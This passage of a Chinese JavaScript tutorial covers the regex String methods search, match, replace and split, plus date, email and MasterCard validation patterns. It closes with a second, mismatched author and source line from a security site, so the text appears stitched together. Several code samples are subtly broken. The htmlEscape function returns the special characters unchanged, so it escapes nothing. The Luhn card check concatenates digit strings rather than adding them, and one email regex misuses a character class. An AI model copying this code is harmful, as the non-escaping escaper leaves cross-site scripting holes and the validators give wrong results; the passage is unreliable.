    console.log(pos); 

    search()不支持全局检索,它会忽略正则表达式参数中的修饰符g;也会忽略RegExp的lastIndex属性,总是从String的开始位置搜索,即它总是返回String中第一个匹配子串的位置;

    如果search()参数不是正则表达式,则首先会通过RegExp构造函数将它转换成正则表达式;

    var text = "cat, bat, sat, fat";
    var pos = text.search('at');  // 1
    console.log(pos); 

    注:也可以理解为就是查找普通的字符串的索引位置;

    match()方法:

    本质上与RegExp的exec()方法相同;其只接受一个参数,一个正则表达式或是一个RegExp对象,如果参数不是RegExp,则会被RegExp()转换为RegExp对象,如:

    var text = "cat, bat, sat, fat";
    var pattern = /.at/;//["cat", index: 0, input: "cat, bat, sat, fat", ...]
    var pattern = ".at";//会被转换成RegExp对象
    var pattern = /.at/g;  //["cat", "bat", "sat", "fat"]
    var matches = text.match(pattern);
    console.log(matches);

    返回一个包含匹配结果的数组,如果没有匹配结果,返回null;

    如果没有使用修饰符g,match()不会进行全局检索,它只会检索第一个匹配,但其依然会返回一个数组,此时,数组唯一的一项就是匹配的字符串;

    如果使用了分组,第一项是匹配的整个字符串,之后的每一项(如果有)保存着与正则表达式中的捕获组匹配的字符串;

    //["zeronetwork", "network", "work", index: 0, input: "zeronetwork is good zeronetwork", groups: undefined]
    var str = "zeronetwork is good zeronetwork";
    var re = /zero(net(work))/;
    var re = /zero(net(work))/g;
    var result = str.match(re);
    console.log(result);

    如果使用了全局检索,数组会保存所有匹配结果;

    match()方法如果使用了一个非全局的正则,实际上和给RegExp的exec()方法传入的字符串是一样的,它返回的数组带有两个属性:index和input,index指明了匹配文本在String中的开始位置,input则是对该String本身的引用。

    // 匹配URL
    var str = "访问零点网络官网:https://www.zeronetwork.cn/index.html";
    var re = /(\w+):\/\/([\w.]+)\/(\S*)/;
    var result = str.match(re);
    console.log(result);
    var o={};
    if(result != null){
        o.fullurl = result[0];
        o.protocol = result[1];
        o.host = result[2];
        o.path = result[3];
    }
    for(var p in o)
        console.log(p + ":" + o[p]);

    如果使用了全局,返回的是每个匹配的子串数组,没有index和input属性;如果希望在全局搜索时取得这此信息,可以使用RegExp.exec()方法;

    replace()方法:

    此方法的目的是为了简化检索与替换子字符串的操作;

    该方法接受两个参数,第一个参数可以是一个RegExp对象或一个字符串(这个字符串不会被转换成正则表达式),第二个参数是要替换的字符串,可以是一个字符串或一个函数;如果第一个参数是字符串,那么只会替换第一个子字符串,要想替换所有子字符串,唯一的办法就是提供一个正则表达式,而且要指定全局g标志,如:

    var text = "cat, bat, sat, fat";
    console.log(text.replace("at","ond"));// cond, bat, sat, fat
    console.log(text.replace(/at/g,"ond"));// cond, bond, sond, fond

    在第二个参数中使用捕获组:使用$加索引数字,replace()将用与指定的子表达相匹配的文本来替换字符;这是一个非常实用的特性,如:

    var str = "cat, bat, sat, fat";
    console.log(str.replace(/(at)/g,"$1er"));//cater, bater, sater, fater
    // 将英文引号替换为中文引号
    var str = 'zero"net"work';
    var quote = /"([^"]*)"/g;
    console.log(str.replace(quote,'“$1”'));

    如果第二个参数是字符串,还可以使用一些特殊的字符序列,将正则表达式操作得到的值插入到结果字符串中,如:

    • $$ :$美元符号
    • $& :匹配整个模式的子字符串,与RegExp.lastMath的值相同
    • $` :匹配的子字符串之前(左边)的子字符串,与RegExp.leftContext的值相同
    • $’ :匹配的子字符串之后(右边)的子字符串,与RegExp.rightContext的值相同
    • $n :匹配第n个捕获组的子字符串,其中n等于0-9,如,是匹配第一个捕获组的子字符串,是第二个捕获组的子字符串,以此类推;如果正则表达式中没有定义捕获组,则使用空字符串
    • $nn :匹配第nn个捕获组的子字符串,其中nn等于00-99,如是匹配第一个捕获组的子字符串,是匹配第二个捕获组的子字符串,以此类推;如果正则表达式中没有定义捕获组,则使用空字符串

    通过这些特殊的字符序列,可以使用最近一次匹配结果中的内容,如:

    var text = "my name is wangwei zero";
    var re = /(\w+)g(\w+)/g;
    console.log(text.replace(re,"$$"));
    console.log(text.replace(re,"$&"));
    console.log(text.replace(re,"$`"));
    console.log(text.replace(re,"$'"));
    console.log(text.replace(re,"$1"));
    console.log(text.replace(re,"$01"));
     
    var text = "cat, bat, sat, fat";
    var result = text.replace(/(.at)/g,"word ($1)");
    console.log(result);  // word (cat), word (bat), word (sat), word (fat)
    // 把名字格式颠倒
    var name = "Wei, Wang";
    console.log(name.replace(/(\w+)\s*,\s*(\w+)/, "$2 $1"));  // Wang Wei

    replace()方法的第二个参数也可以是一个函数;该回调函数将在每个匹配结果上调用,其返回的字符串则将作为替换文本;

    该函数最多可传递3个参数:模式的匹配项、模式匹配项在字符串中的位置和原始字符串;

    在正则表达式中定义了多个捕获组的情况下,传递给函数的参数依次是模式的匹配项、第一个捕获组的匹配项、第二个捕获组的匹配项……,但最后两个参数仍然分别是模式的匹配项在字符串的位置和原始字符串;此种方式,可以实现更加精细、动态的替换操作,如:

    // 所有单词的首字母大写
    var str = "zero net work";
    var result = str.replace(/\b\w+\b/g, function(word){
        return word.substring(0,1).toUpperCase() + word.substring(1);
    });
    console.log(result);  // Zero Net Work
     
    // 为HTML字符转换为实体
    function htmlEscape(text){
        return text.replace(/[<>"&]/g, function(match, pos, originalText){
            switch(match){
                case "<":
                    return "<";
                case ">":
                    return ">";
                case "&":
                    return "&";
                case "\"":
                    return """;
            }
        });
    }
    var text = "<p class=\"greeting\">zero network!</p>";
    console.log(text);
    console.log(htmlEscape(text));  // <p class="greeting">zero network!</p>

    还可以在replace中使用捕获组:

    var str = "aabb";
    var reg = /(\w)\1(\w)\2/g;
    console.log(str.replace(reg,function($,$1,$2){
        // return $ + "," + $1 + "," + $2;
        return "提取了两个字母:"+$1+"和"+$2;
    }));
    // 替换成驼峰写法
    var str = "zero-net-work";
    var reg = /-(\w)/g;
    console.log(str.replace(reg, function($,$1){
        return $1.toUpperCase();
    }));

    注:与exec()和test()不同,String类的方法search()、replace()和match()并不会用到lastIndex属性;实际上,String类的这些方法只是简单的将lastIndex属性值重置为0;

    var str = "zeronetwork zero";
    var re = /zero/g;
    console.log(str.match(re));
    console.log(re.lastIndex);

    split()方法:

    可以基于指定的分隔符将一个字符串分割成多个子字符串,并将结果放在一个数组中;分隔符可以是字符串,也可以是RegExp对象;其可以接受可选的第二个参数,用于指定数组的大小,以便确保返回的数组不会超过既定大小,如:

    console.log("1, 2, 3, 4, 5".split(/\s*,\s*/)); // ["1", "2", "3", "4", "5"]
     
    var colorText = "red,blue,green,yellow";
    var colors = colorText.split(",");  // red,blue,green,yellow
    var colors = colorText.split(",",2);// red,blue
    var colors = colorText.split(/[^\,]+/);  // ["", ",", ",", ",", ""]
    console.log(colors);

    ES正则的局限性:

    尽管ECMAScript的正则表达式的功能比较完备,但仍缺少某些语言所支持的高级正则表达式特性,如下:

    • 匹配字符串开始和结尾的\A和\Z锚(但支持^和$);
    • 向后查找(lookbehing(但完全支持向前查找lookahead);
    • 并集和交集类;
    • 原子组(atomic grouping);
    • Unicode支持(单个字符除外,如\rFFFF);
    • 命名的捕获组(但支持编号的捕获组);
    • s(single, 单行)和x( free-spacing, 无间隔)匹配模式;
    • 条件匹配;
    • 正则表达式注释;

    即使存在这些限制,ECMAScript正则表达式仍然是非常强大的,能够完成绝大多数模式匹配任务。

    常用模式:

    验证日期:

    // m/d/yyyy    mmmm d,yyyyy   yyyy-m-d  yyyy/m/d    yyyy m d
    var re = /\d{1,2}\/\d{1,2}\/\d{4}/;
    var re = /(?:0?[1-9]|1[012])\/(?:0[1-9]|[12][0-9]|3[01])\/(?:[12][0-9]{3})/;
    console.log(re.test("9/30/2020"));
    console.log(re.test("2020-6-18"));
    console.log(re.test("2020/6/18"));
     
    // 判断日期是否为YYYY-MM-DD 或 YYYY-MM-DD hh:mm:ss格式
    function isDateTime(value){
        if(value.length != 0){
            var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/;
            var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2}) (\d{1,2}):(\d{1,2}):(\d{1,2})$/;
            if(reg.test(value))
                return true;
            return false;
        }
        return false;
    }

    验证电子邮件:

    正确格式的电子邮件地址如ww1209@163.com,它必须符合以下几个条件:电子邮件地址中同时含有“@”和“.”字符;字符“@”后必须有字符“.”,且中间至少间隔一个字符;字符“@”不为第一个字符,“.”不能为最后一个字符;

    var re = /\w+@\w+\.[com|net|cn]/;
    var re = /^(([a-zA-Z0-9_-])+)@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+/;
    // wang.wei@
    var re = /^((?:\w+\.?)*\w+)@(\w+\.\w+)$/;
    var str = "ww1208@163.com";
    console.log(re.test(str));
    console.log("你的用户名:" + RegExp.$1);
    console.log("主机名:" + RegExp.$2);

    银行卡号:

    function checkNum(sCardNum){
        var bIsOdd = true;
        var iOddSum = 0;
        var iEvenSum = 0;
        for(var i=sCardNum.length-1; i>=0; i--){
            var iNum = parseInt(sCardNum.charAt(i));
            // console.log(iNum);
            if(bIsOdd){
                iOddSum += iNum;   
            }else{
                iNum = iNum * 2;
                if(iNum > 9){
                    var tempArr = iNum.toString().split(""); 
                    iNum = tempArr[0] + tempArr[1];
                }
                iEvenSum += parseInt(iNum);
            }
            bIsOdd = !bIsOdd;
            
        }
        return ((iEvenSum + iOddSum) % 10 == 0);
    }
    function isValidMasterCard(sText){
        var re = /^(5[1-5]\d{2})[\s\-]?(\d{4})[\s\-]?(\d{4})[\s\-]?(\d{4})$/;
        if(re.test(sText)){
            var sCardNum = RegExp.$1 + RegExp.$2 + RegExp.$3 + RegExp.$4;
            return checkNum(sCardNum);
        }else{
            return false;
        }
    }
    console.log(isValidMasterCard("5568 4030 5586 1234"));
    console.log(isValidMasterCard("5432 1234 5678 9016"));


    Web前端开发之Javascript-零点程序员-王唯

者:ye1s

出处:https://www.anquanke.com/post/id/235190